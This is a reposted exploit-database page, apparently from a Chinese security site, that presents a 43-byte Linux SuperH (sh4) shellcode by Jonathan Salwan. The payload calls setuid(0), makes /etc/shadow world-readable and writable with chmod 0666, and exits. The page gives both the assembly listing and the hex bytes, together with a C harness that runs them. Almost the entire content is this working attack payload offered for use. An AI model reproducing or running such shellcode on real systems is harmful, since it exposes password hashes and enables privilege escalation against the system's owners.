首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux/SuperH - sh4 - setuid(0) - chmod("/etc/shadow", 0666) - exit(0) - 43 bytes
来源:http://shell-storm.org 作者:Jonathan 发布时间:2011-06-23  

/*
** Title:     Linux/SuperH - sh4 - setuid(0) - chmod("/etc/shadow", 0666) - exit(0) - 43 bytes
** Date:      2011-06-22
** Tested on: Debian-sh4 2.6.32-5-sh7751r
** Author:    Jonathan Salwan - twitter: @shell_storm
**
** http://shell-storm.org
**
**
** seteuid:
**  mov  #23, r3
**  xor r4, r4
**  trapa  #2
** chmod:
**  mov #15, r3
**  mova @(24, pc), r0
**  mov r0, r4
**  mov #87, r8
**  mov #5, r9
**  mul.l r8, r9
**  sts macl, r5
**  add #3, r5
**  trapa #2
** exit:
**  xor r3, r3
**  mov #1, r3
**  xor r4, r4
**  trapa  #2
** file:
**  .string "/etc/shadow"
**
*/

#include <stdio.h>
#include <string.h>

char *SC = "\x17\xe3\x4a\x24\x02\xc3\x0f\xe3\x05\xc7\x03"
           "\x64\x57\xe8\x05\xe9\x87\x09\x1a\x05\x03\x75"
           "\x02\xc3\x3a\x23\x01\xe3\x4a\x24\x02\xc3\x2f"
           "\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77";

int main(void)
{
  fprintf(stdout,"Length: %d\n",strlen(SC));
  (*(void(*)()) SC)();
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sielco Sistemi Winlog Buffer O
·FactoryLink vrn.exe Opcode 9 B
·RealWin SCADA Server DATAC Log
·FactoryLink vrn.exe Opcode 9 B
·FreeAmp 2.0.7 .fat Buffer Over
·Black Ice Cover Page ActiveX C
·Linux/SuperH - sh4 - add root
·If-CMS 2.07 Pre-Auth Local Fil
·Xilisoft Video-Converter v.5 (
·Avira AntiVir Personal V10.00.
·Free YouTube Download v2.10 DL
·HTTrack Website Copier V3.44 D
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved